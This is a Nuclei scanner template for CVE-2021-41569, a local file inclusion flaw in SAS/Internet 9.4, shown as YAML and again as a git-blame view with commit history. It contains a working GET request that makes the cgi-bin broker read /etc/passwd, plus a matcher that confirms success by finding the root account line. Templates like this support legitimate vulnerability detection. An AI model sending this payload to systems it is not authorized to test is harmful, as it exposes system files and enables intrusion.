nuclei-templates/http/cves/2021/CVE-2021-41569.yaml

id: CVE-2021-41569

info:
  name: SAS/Internet 9.4 1520 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: SAS/Internet 9.4 build 1520 and earlier allows local file inclusion. The samples library (included by default) in the appstart.sas file, allows end-users of the application to access the sample.webcsf1.sas program, which contains user-controlled macro variables that are passed to the DS2CSF macro.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Apply the latest security patches or updates provided by SAS to fix the LFI vulnerability in the SAS/Internet 9.4 1520 application.
  reference:
    - https://www.mindpointgroup.com/blog/high-risk-vulnerability-discovery-localfileinclusion-sas
    - https://support.sas.com/kb/68/641.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41569
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-41569
    cwe-id: CWE-829
    epss-score: 0.00978
    epss-percentile: 0.81649
    cpe: cpe:2.3:a:sas:sas\/intrnet:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sas
    product: sas\/intrnet
  tags: cve,cve2021,sas,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/broker?csftyp=classic,+ssfile1%3d/etc/passwd&_SERVICE=targetservice&_DEBUG=131&_PROGRAM=sample.webcsf1.sas&sysparm=test&_ENTRY=SAMPLIB.WEBSAMP.PRINT_TO_HTML.SOURCE&BG=%23FFFFFF&DATASET=targetdataset&_DEBUG=131&TEMPFILE=Unknown&style=a+tcolor%3dblue&_WEBOUT=test&bgtype=COLOR"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100f204384bc8473f168bcbdc2ac87e83455848bbcee5c9094eb53e5b75122e596b022100b11db3a3971e2c5b48b468357b7bfe8fa188f55214356ca6edd23ef0b53ba0b0:922c64590222798bb761d5b6d8e72950
Create CVE-2021-41569.yaml 2022-06-27 08:40:09 +00:00			`id: CVE-2021-41569`
Modify spacing between id and info 2022-08-22 07:17:05 +00:00
Create CVE-2021-41569.yaml 2022-06-27 08:40:09 +00:00			`info:`
Dashboard Content Enhancements (#4819) Dashboard Content Enhancements 2022-07-26 13:45:11 +00:00			`name: SAS/Internet 9.4 1520 - Local File Inclusion`
Create CVE-2021-41569.yaml 2022-06-27 08:40:09 +00:00			`author: 0x_Akoko`
			`severity: high`
Dashboard Content Enhancements (#4819) Dashboard Content Enhancements 2022-07-26 13:45:11 +00:00			`description: SAS/Internet 9.4 build 1520 and earlier allows local file inclusion. The samples library (included by default) in the appstart.sas file, allows end-users of the application to access the sample.webcsf1.sas program, which contains user-controlled macro variables that are passed to the DS2CSF macro.`
Added Impact 2023-09-27 15:51:13 +00:00			`impact: \|`
			`Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.`
Updated 2021 CVEs 2023-09-06 12:09:01 +00:00			`remediation: \|`
			`Apply the latest security patches or updates provided by SAS to fix the LFI vulnerability in the SAS/Internet 9.4 1520 application.`
Create CVE-2021-41569.yaml 2022-06-27 08:40:09 +00:00			`reference:`
			`- https://www.mindpointgroup.com/blog/high-risk-vulnerability-discovery-localfileinclusion-sas`
Auto Generated CVE annotations [Thu Jun 30 13:03:46 UTC 2022] :robot: 2022-06-30 13:03:46 +00:00			`- https://support.sas.com/kb/68/641.html`
Dashboard Content Enhancements (#4819) Dashboard Content Enhancements 2022-07-26 13:45:11 +00:00			`- https://nvd.nist.gov/vuln/detail/CVE-2021-41569`
Create CVE-2021-41569.yaml 2022-06-27 08:40:09 +00:00			`classification:`
			`cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`
			`cvss-score: 7.5`
			`cve-id: CVE-2021-41569`
			`cwe-id: CWE-829`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`epss-score: 0.00978`
TemplateMan Update [Tue Dec 12 11:07:51 UTC 2023] :robot: 2023-12-12 11:07:52 +00:00			`epss-percentile: 0.81649`
Updated 2021 CVEs 2023-09-06 12:09:01 +00:00			`cpe: cpe:2.3:a:sas:sas\/intrnet::::::::`
Added max request counter of each template 2023-04-28 08:11:21 +00:00			`metadata:`
			`max-request: 1`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`vendor: sas`
			`product: sas\/intrnet`
			`tags: cve,cve2021,sas,lfi`
Create CVE-2021-41569.yaml 2022-06-27 08:40:09 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com> 2023-04-27 04:28:59 +00:00			`http:`
Create CVE-2021-41569.yaml 2022-06-27 08:40:09 +00:00			`- method: GET`
			`path:`
			`- "{{BaseURL}}/cgi-bin/broker?csftyp=classic,+ssfile1%3d/etc/passwd&_SERVICE=targetservice&_DEBUG=131&_PROGRAM=sample.webcsf1.sas&sysparm=test&_ENTRY=SAMPLIB.WEBSAMP.PRINT_TO_HTML.SOURCE&BG=%23FFFFFF&DATASET=targetdataset&_DEBUG=131&TEMPFILE=Unknown&style=a+tcolor%3dblue&_WEBOUT=test&bgtype=COLOR"`

			`matchers-condition: and`
			`matchers:`
			`- type: regex`
			`regex:`
			`- "root:[x*]:0:0"`

			`- type: status`
			`status:`
			`- 200`
Auto Template Signing [Tue Dec 12 12:02:03 UTC 2023] :robot: 2023-12-12 12:02:03 +00:00			`# digest: 4b0a00483046022100f204384bc8473f168bcbdc2ac87e83455848bbcee5c9094eb53e5b75122e596b022100b11db3a3971e2c5b48b468357b7bfe8fa188f55214356ca6edd23ef0b53ba0b0:922c64590222798bb761d5b6d8e72950`